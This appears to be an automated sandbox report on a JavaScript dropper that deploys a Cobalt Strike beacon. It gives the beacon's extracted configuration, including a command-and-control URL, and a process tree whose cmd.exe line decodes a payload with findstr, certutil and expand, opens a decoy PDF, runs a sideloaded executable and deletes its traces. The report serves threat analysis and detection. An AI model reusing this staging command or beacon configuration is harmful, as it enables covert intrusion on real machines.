cobaltstrike | 1fcd696c75e9dea9ab04213e2a7925aa18198e30afd99cf3bd0eb01b6ebcbc88

Analysis

max time kernel
135s
max time network
117s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 12:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
__MACOS/_params2.cat.js
Size 1.7MB
Sample240719-ppn5ba1dpn
SHA256 22b2d9c5d3aa575283bc0afc60df5fb8720c384bd7040ca6e4e42491b5fefcde
MD5 dee63329fa6efe64693d90a54585cff0
SHA1 4072887f7f5a706b1986df229d4b3fe4bfe1f209
SHA512 573f524deee9ac23c8b962c1394c9d7c2d885cf1127afa172b5d48da2ff45667a6e204f90aaf2dd5e12dab907f83d7458a959565700c45191ade2fda8e684232
SSDEEP 24576:OE4WChcawAdDbiNyhMgM/tyBMZBRKqOr8UHJt7aOefLDDlzWCFQYGsncMs03bdkS:d
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

cobaltstrike 100000000 backdoor execution link pdf trojan

Malware Config

Extracted

Family

cobaltstrike

Botnet

100000000

http://upserver.updateservice.store:443/common.html

Attributes

access_type
512
beacon_type
2048
host
upserver.updateservice.store,/common.html
http_header1
AAAAEAAAACJIb3N0OiB1cHNlcnZlci51cGRhdGVzZXJ2aWNlLnN0b3JlAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAcAAAAAAAAACwAAAAMAAAACAAAAA2x1PQAAAAYAAAAGQ29va2llAAAACQAAAAt2ZXJpZnk9dHJ1ZQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_header2
AAAAEAAAACJIb3N0OiB1cHNlcnZlci51cGRhdGVzZXJ2aWNlLnN0b3JlAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAAvQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQAAAAHAAAAAQAAAAMAAAADAAAAAgAAAAhhdXRob3JzPQAAAAQAAAAHAAAAAAAAAAMAAAACAAAADl9fc2Vzc2lvbl9faWQ9AAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_method1
GET
http_method2
POST
jitter
9472
polling_time
58666
port_number
443
sc_process32
%windir%\syswow64\svchost.exe
sc_process64
%windir%\sysnative\svchost.exe
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCdQ5nVpJ13O9CwiQRtLOdTAwGg6oj4mvtVqZvCbSy9YyU3ngZSDBgmWjSMwrTqMvvKUr5RvigK1N00xTGT4LVtDESUaUvyGU79G24yPaF5rUOJjnAIRazosjB87DvXbI6k45HQsVyZD7wgEXnKFmv3E0Tk9ti5G0eVOKL5tqdS5QIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
unknown1
6.1158912e+08
unknown2
AAAABAAAAAIAAAJYAAAAAwAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
uri
/r-arrow
user_agent
Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; RM-1152) AppleWebKit/537.36 (KHTML, like Gecko)
watermark
100000000

Signatures

Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
trojan backdoor cobaltstrike

Executes dropped EXE 1 IoCs

pid	Process
2740	pfexec.exe

Loads dropped DLL 1 IoCs

pid	Process
2740	pfexec.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	expand.exe

HTTP links in PDF interactive object 1 IoCs

Detects HTTP links in interactive objects within PDF files.

pdf link

resource	yara_rule
behavioral7/files/0x0005000000019418-45.dat	pdf_with_link_action

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 2 IoCs

pid	Process
2880	AcroRd32.exe
2740	pfexec.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2880	AcroRd32.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2880	AcroRd32.exe
2880	AcroRd32.exe
2880	AcroRd32.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2532 wrote to memory of 1792	2532	wscript.exe	30
PID 2532 wrote to memory of 1792	2532	wscript.exe	30
PID 2532 wrote to memory of 1792	2532	wscript.exe	30
PID 1792 wrote to memory of 1712	1792	cmd.exe	32
PID 1792 wrote to memory of 1712	1792	cmd.exe	32
PID 1792 wrote to memory of 1712	1792	cmd.exe	32
PID 1792 wrote to memory of 2400	1792	cmd.exe	33
PID 1792 wrote to memory of 2400	1792	cmd.exe	33
PID 1792 wrote to memory of 2400	1792	cmd.exe	33
PID 1792 wrote to memory of 2972	1792	cmd.exe	34
PID 1792 wrote to memory of 2972	1792	cmd.exe	34
PID 1792 wrote to memory of 2972	1792	cmd.exe	34
PID 1792 wrote to memory of 2880	1792	cmd.exe	35
PID 1792 wrote to memory of 2880	1792	cmd.exe	35
PID 1792 wrote to memory of 2880	1792	cmd.exe	35
PID 1792 wrote to memory of 2880	1792	cmd.exe	35
PID 1792 wrote to memory of 2740	1792	cmd.exe	36
PID 1792 wrote to memory of 2740	1792	cmd.exe	36
PID 1792 wrote to memory of 2740	1792	cmd.exe	36
PID 1792 wrote to memory of 2740	1792	cmd.exe	36

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\__MACOS\_params2.cat.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c findstr 4d534346 C:\Users\Admin\AppData\Roaming\fNXCtU.tmp > C:\Users\Admin\AppData\Roaming\Yvihwh.tmp&for /r c:\windows\system32\ %i in (*ertu*.exe) do %i -decodehex C:\Users\Admin\AppData\Roaming\Yvihwh.tmp C:\Users\Admin\AppData\Roaming\DWlCNX.tmp&expand -F:* C:\Users\Admin\AppData\Roaming\DWlCNX.tmp C:\Users\Admin\AppData\Roaming\&start C:\Users\Admin\AppData\Roaming\China_paper.pdf&start C:\Users\Admin\AppData\Roaming\pfexec.exe&del C:\Users\Admin\AppData\Roaming\fNXCtU.tmp C:\Users\Admin\AppData\Roaming\Yvihwh.tmp C:\Users\Admin\AppData\Roaming\DWlCNX.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\system32\findstr.exe
    findstr 4d534346 C:\Users\Admin\AppData\Roaming\fNXCtU.tmp
    3⤵
    PID:1712
- - \??\c:\windows\system32\certutil.exe
    c:\windows\system32\certutil.exe -decodehex C:\Users\Admin\AppData\Roaming\Yvihwh.tmp C:\Users\Admin\AppData\Roaming\DWlCNX.tmp
    3⤵
    PID:2400
- - C:\Windows\system32\expand.exe
    expand -F:* C:\Users\Admin\AppData\Roaming\DWlCNX.tmp C:\Users\Admin\AppData\Roaming\
    3⤵
    - Drops file in Windows directory
    PID:2972
- - C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
    "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\China_paper.pdf"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    PID:2880
- - C:\Users\Admin\AppData\Roaming\pfexec.exe
    C:\Users\Admin\AppData\Roaming\pfexec.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

SharedDataEvents

Path C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents
Size 3KB
SHA256 10aca690924c20c5668c671d46e506a15a5f3a25b40735a10acec27d5b7b0719
MD5 cef9fb5dc4142c5ff5a72a49d8a1b5f7
SHA1 b56a9dc66e3f990b9801ff8a59f15090634cdf23
SHA512 348dc89d0f7416b1df0be8c0fb27b22ebd81961be182ee4bb870824df214293f9f1e86bbcff54b18ecf296840347d15e00c697a81a69df363392dc799489e54c
MD5 SHA1 SHA512

Submit Download

China_paper.pdf

Path C:\Users\Admin\AppData\Roaming\China_paper.pdf
Size 134KB
SHA256 aa880c609f5cbac2b45977359d1fd87f8292bc23e262c7a71530ae28948bdb49
MD5 cf36324614bf0c7d2650ea0e25506aaf
SHA1 f7c36d63cdc4f7467ae20b03f358c0f4ad602814
SHA512 bc86ce76d7c89c97f920cd5411b9471b1f6a95806e6a9baa86e25fe73e12ff8a46b12976877bee337dd1577b67a224d229be3adda3385407fc1001756783b293
SSDEEP 3072:M6EODLaxuwkwfcC/wGASrvn+Pbi+cdnACQQhBWIZ:hEqIuQcC/wtjRCQwZ
MD5 SHA1 SHA512 SSDEEP

Submit Download

chrome_elf.dll

Path C:\Users\Admin\AppData\Roaming\chrome_elf.dll
Size 221KB
SHA256 fb6b0ff2da14b6447b21f0fc4ae73724667c8f6d296d707f18a28633b4e59ed0
MD5 4f265905d3adad5c9e0d0aa250849404
SHA1 c147c8646a34ae54e4bdbfaffdf44848b78c209f
SHA512 adddbcf8e5b9bc64fe6663911854d37f8dd586cef2dac8749c14faa554e74943021fa340624f49cf8854f70eb159faa9a12570d04d1ffe9686a1abebc8909398
SSDEEP 6144:a4kJ/qGca8YZjXm2sohzD21knwglLz2tMLzitT3f:eqGzjXm2siqynwgdz2WLzi9
MD5 SHA1 SHA512 SSDEEP

Submit Download

fNXCtU.tmp

Path C:\Users\Admin\AppData\Roaming\fNXCtU.tmp
Size 1.7MB
SHA256 86fb58a2602b89426b256b371a7453d3b9895e34ce23890f266802dc65e80c47
MD5 a0e8cacc2103ef81705680b7b7a96997
SHA1 37b8c24121aff2a817980648b0a29a9a2f4b3bdf
SHA512 519431ef7d14b0489ea2b25b404f86872f2c4a286d843ebb2a36cec9d7a1e61e2a1e6884c193bed040dfd0640531093b3e6f5b6009fd16493a77ff271edb5e6b
SSDEEP 24576:BE4WChcawAdDbiNyhMgM/tyBMZBRKqOr8UHJt7aOefLDDlzWCFQYGsncMs03bdk9:T
MD5 SHA1 SHA512 SSDEEP

Submit Download

pfexec.exe

Path C:\Users\Admin\AppData\Roaming\pfexec.exe
Size 1.0MB
SHA256 2c9193641261c691300cff1d18f149126036da623b475dfc36fde27fca102b91
MD5 f44d91b5ada6238eb2d6e619163cc62a
SHA1 66ef3d305e393c9b4f6bae7f418d4f7fb537ce4d
SHA512 edea071c90ec67b47ecee3b9913bab4f31bab2f36a4e397a0df801e4034306a77806bf0cb3cfeb1ba5b4272e737eba7ddfcdaf29bf749d0bfdf10cf0c8a329f1
SSDEEP 12288:Mhl2WxEAiGRklbSwZ4llEFEK3AbHjmM2HdaZJrQCNWK4KHFeMdMZW6tq2oZsErrc:6l2VN4lpFFcChMZW6tqzZ7XrP3I2JpS
MD5 SHA1 SHA512 SSDEEP

Submit Download

dwlcnx.tmp

Path \??\c:\users\admin\appdata\roaming\dwlcnx.tmp
Size 847KB
SHA256 a19b88046b9ecd462037c7eef4cda1407664a1010ee0c8ef2b2fc907a129f6b7
MD5 d9ef25b85633b5754cfafadda6a2a4b7
SHA1 d58f9a3ef6c120bd2f2e352e184afa438f0d74f7
SHA512 1ee72b19712cb19046cc14ccc9c7abd643d104a3cb4cd562d58e35bf380e5f80b8ba4b80ee5e559fe56fa1031dc3cf9bba3242bc5fed584d3d6111c4eb81920c
SSDEEP 24576:8VGS8hcWOZ0sjeSnnTXReP8OD+yF0ogvKV3LW9YmR:8VYhcXKyemXQF+yFv8ai9YS
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2740-46-0x0000000000190000-0x00000000001C4000-memory.dmp

Download

memory/2740-47-0x0000000000280000-0x0000000000308000-memory.dmp

Download

memory/2740-63-0x0000000000280000-0x0000000000308000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads